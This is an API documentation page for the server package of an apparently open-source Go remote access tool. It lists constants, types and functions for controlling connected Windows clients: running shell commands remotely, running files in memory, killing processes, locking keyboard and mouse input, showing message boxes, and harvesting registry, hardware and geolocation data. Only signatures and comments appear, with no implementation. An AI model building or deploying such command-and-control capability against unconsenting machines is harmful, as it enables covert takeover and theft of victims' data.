server

package
v0.0.0-...-8083d74 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 19, 2023 License: GPL-3.0 Imports: 12 Imported by: 0

Documentation

Index

Constants

View Source
const (
	MB_OK                uintptr = 0x00000000
	MB_OKCANCEL          uintptr = 0x00000001
	MB_ABORTRETRYIGNORE  uintptr = 0x00000002
	MB_YESNOCANCEL       uintptr = 0x00000003
	MB_YESNO             uintptr = 0x00000004
	MB_RETRYCANCEL       uintptr = 0x00000005
	MB_CANCELTRYCONTINUE uintptr = 0x00000006
)

Win32 API MessageBoxW Button flags.

View Source
const (
	MB_ICONNULL        uintptr = 0x00000000
	MB_ICONERROR       uintptr = 0x00000010
	MB_ICONQUESTION    uintptr = 0x00000020
	MB_ICONWARNING     uintptr = 0x00000030
	MB_ICONINFORMATION uintptr = 0x00000040
)

Win32 API MessageBoxW Icon flags.

View Source
const (
	ES_CONTINUOUS      uintptr = 0x80000000
	ES_SYSTEMREQUIRED  uintptr = 0x00000001
	ES_DISPLAYREQUIRED uintptr = 0x00000002
)

Win32 API BlockInput flags.

View Source
const (
	HD_EXIT   byte = 0x10
	HD_REMAKE byte = 0x20
	HD_ERROR  byte = 0x30

	HD_SHELL     byte = 0x01
	HD_PROCESSES byte = 0x02
	HD_KILL_PROC byte = 0x03
	HD_MSG_BOX   byte = 0x04
	HD_INPUT_ON  byte = 0x05
	HD_INPUT_OFF byte = 0x06
	HD_RUN_FILE  byte = 0x07
)

Header packets for identifying the data recieved from the server.

View Source
const (
	MB_TOPMOST uintptr = 0x00040000
)

Win32 API MessageBoxW Alignment flags

View Source
const STD_BUFFER = 1024

Standard request buffer size.

Variables

Lists of the available MessageBox Icons and Buttons for selection.

View Source
var CurrentServer = NewServer()

Create a new Server instance.

Functions

This section is empty.

Types

type Client

type Client struct {
	Parent       *Server
	SessionID    string
	Conn         net.Conn
	RawAddr      string
	MetaData     MetaData
	UserDataPath string
	Connected    time.Time

	ProcessMonitor ProcessMonitor
	CmdData        CmdData
	InputLocked    bool
}

`Client` represents a client connection.

func (*Client) GetCommandOutput

func (c *Client) GetCommandOutput(command string)

`Client.GetCommandOutput` sends a command to the client for it to execute. The client will then send the output of the executed command back to the server.

func (*Client) GetFileData

func (c *Client) GetFileData(command string)

`Client.GetFileData` sends a command to the client for it to execute.

func (*Client) GetProcesses

func (c *Client) GetProcesses()

`Client.GetProcesses` sends a sends a signal to the client for it to send back its running process list.

func (*Client) KillProcessByID

func (c *Client) KillProcessByID(pid string)

`Client.KillProcessByID` sends a signal to the client to kill the passed process ID.

func (*Client) ReEstablishConnection

func (c *Client) ReEstablishConnection()

`Client.ReEstablishConnection` sends a signal to the client telling it to re-establish the connection.

func (*Client) ReadAll

func (c *Client) ReadAll() ([]byte, error)

`Client.ReadAll` reads all data from the connection and returns it as an array of bytes. This function could be exploited on the client side, and is just another reason why client packet authentication needs to be implemented.

func (*Client) ReadBytes

func (c *Client) ReadBytes(requestBuffer int) ([]byte, error)

`Client.ReadBytes` reads data from the connection and returns it as an array of bytes. The function reads up to the set BUFFER amount of bytes from the connection. If an error occurs during reading, the function returns an empty string and the error.

func (*Client) ReadMessage

func (c *Client) ReadMessage() (Message, error)

`Client.ReadMessage` reads all data from the connection as an array of bytes and reads it into and returns it as a parsable Message struct.

func (*Client) RunFile

func (c *Client) RunFile(file ClientFile)

`Client.RunFile` sends a signal to the client and then the serialized JSON ClientFile for it to run in memory.

func (*Client) SendBytes

func (c *Client) SendBytes(data []byte) error

`Client.SendBytes` sends the passed data to the client connection as an array of bytes.

func (*Client) SendFile

func (c *Client) SendFile(file ClientFile)

This feature has not yet been implemented.

`Client.SendFile` sends a signal to the client and then the serialized JSON ClientFile for it to save.

func (*Client) SendMessage

func (c *Client) SendMessage(message Message) error

`Client.SendMessage` sends the passed data to the client connection.

func (*Client) SendMessageBox

func (c *Client) SendMessageBox(messageBox MessageBox)

`Client.SendMessageBox` sends a signal to the client and then the serialized JSON MessageBox for it to display.

func (*Client) ToggleInputLock

func (c *Client) ToggleInputLock()

`Client.ToggleInputLock` sends a command to the client that tells it to lock or unlock the keyboard and mouse.

type ClientFile

type ClientFile struct {
	Name    string `json:"name"`
	Content []byte `json:"content"`
}

`ClientFile` represents a file and its attributes that will be exchanged with the client.

type CmdData

type CmdData struct {
	CommandToExecute string
	CommandOutput    string
}

`CmdData` represents the latest data to be sent and recieved from the client.

type Message

type Message struct {
	Header  byte   `json:"packet_header"`
	Content []byte `json:"message_content"`
}

`Message` represents a Message exchanged between the server and the client.

type MessageBox

type MessageBox struct {
	Delay    int32   `json:"delay"`
	Amount   int32   `json:"amount"`
	Title    string  `json:"title"`
	Content  string  `json:"content"`
	Buttons  uintptr `json:"buttons,omitempty"`
	Icon     uintptr `json:"icon,omitempty"`
	Default  uintptr `json:"default,omitempty"`
	Modality uintptr `json:"modality,omitempty"`
}

`MessageBox` represents the information needed to display a message box using the Win32 API.

func (*MessageBox) Show

func (msgbox *MessageBox) Show() int

`MessageBox.Show` displays formats and passes the current MessageBox values to the Win32MessageBox function. This is used for previewing the MessageBox that will be sent to the client on the server side.

type MetaData

type MetaData struct {
	IP            string              `json:"ip_address"`
	Name          string              `json:"machine_name"`
	Arch          string              `json:"architecture"`
	Access        string              `json:"access_privileges"`
	System        SystemTable         `json:"system_information,omitempty"`
	Geo           network.GeoLocation `json:"geolocation,omitempty"`
	Processes     []Process           `json:"running_processes,omitempty"`
	EncryptionKey []byte              `json:"encryption_key,omitempty"`
}

`MetaData` represents the clients information storage database.

type Process

type Process struct {
	PID    string `json:"process_id"`
	Name   string `json:"executable_name"`
	Type   string `json:"session_type"`
	Memory string `json:"mem_usage"`
}

`Process` represents the attributes of a running process on the machine.

type ProcessMonitor

type ProcessMonitor struct {
	ProcessUpdateTime    int32     `json:"update_time"`
	LastUpdatedProcesses time.Time `json:"last_updated"`
	KillingProcess       bool      `json:"killing_process"`
}

`ProcessMonitor` represents the attributes required to display processes.

type RegistryTable

type RegistryTable struct {
	HWID            string `json:"hardware_id"`
	Version         string `json:"windows_version"`
	CurrentUserName string `json:"current_user_name"`
	ProductName     string `json:"product_name"`
	ProductId       string `json:"product_id"`
	InstallDate     string `json:"install_date"`
	RegisteredOwner string `json:"registered_owner"`
	RegisteredOrg   string `json:"registered_organization"`
}

`RegistryTable` represents a database of information gathered from the clients Windows registry.

type Server

type Server struct {
	Listener    net.Listener
	Connections []*Client
	Mutex       sync.Mutex
	Logs        helper.Logs
	Graph       TimeGraph
	Notify      bool

	SentBytes int
	RecvBytes int
}

`Server` represents the TCP socket server.

func NewServer

func NewServer() *Server

`NewServer` creates and returns a new Server instance.

func (*Server) Add

func (s *Server) Add(c *Client)

`Server.Add` adds the passed client connection to the connections array of the server, updates the connection graph, creates a new client folder with an overview Json file and pushes a Windows toast notification if it's set in the server config.

func (*Server) Handle

func (s *Server) Handle(c *Client)

`Server.Handle` handles incoming data from the passed client connection.

func (*Server) Remove

func (s *Server) Remove(c *Client)

`Server.Remove` removes and closes the passed client connection. The function removes the passed client from the Server's connections array, and closes the client's socket connection.

func (*Server) Run

func (s *Server) Run(port string) error

`Server.Run` starts the server and listens for incoming connections on the passed port.

type SystemTable

type SystemTable struct {
	Registry RegistryTable      `json:"registry_information"`
	Hardware so.Hardware        `json:"hardware_information"`
	OS       so.OperatingSystem `json:"operating_system_information"`
	Memory   so.Memory          `json:"memory_information"`
	Disk     []so.Disk          `json:"disk_information"`
	Network  []so.Network       `json:"network_information"`
}

`SystemTable` represents a database of information gathered from the clients general system.

type TimeGraph

type TimeGraph struct {
	DataMin  float64
	DataMax  float64
	DataX    []float64
	DataY    []float64
	ScatterY []float64
}

`TimeGraph` represents the plotting variables used in the connections graph.

func (*TimeGraph) UpdateConnectionGraph

func (graph *TimeGraph) UpdateConnectionGraph(c *Client)

`TimeGraph.UpdateConnectionGraph` appends the required data to the connection graph.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL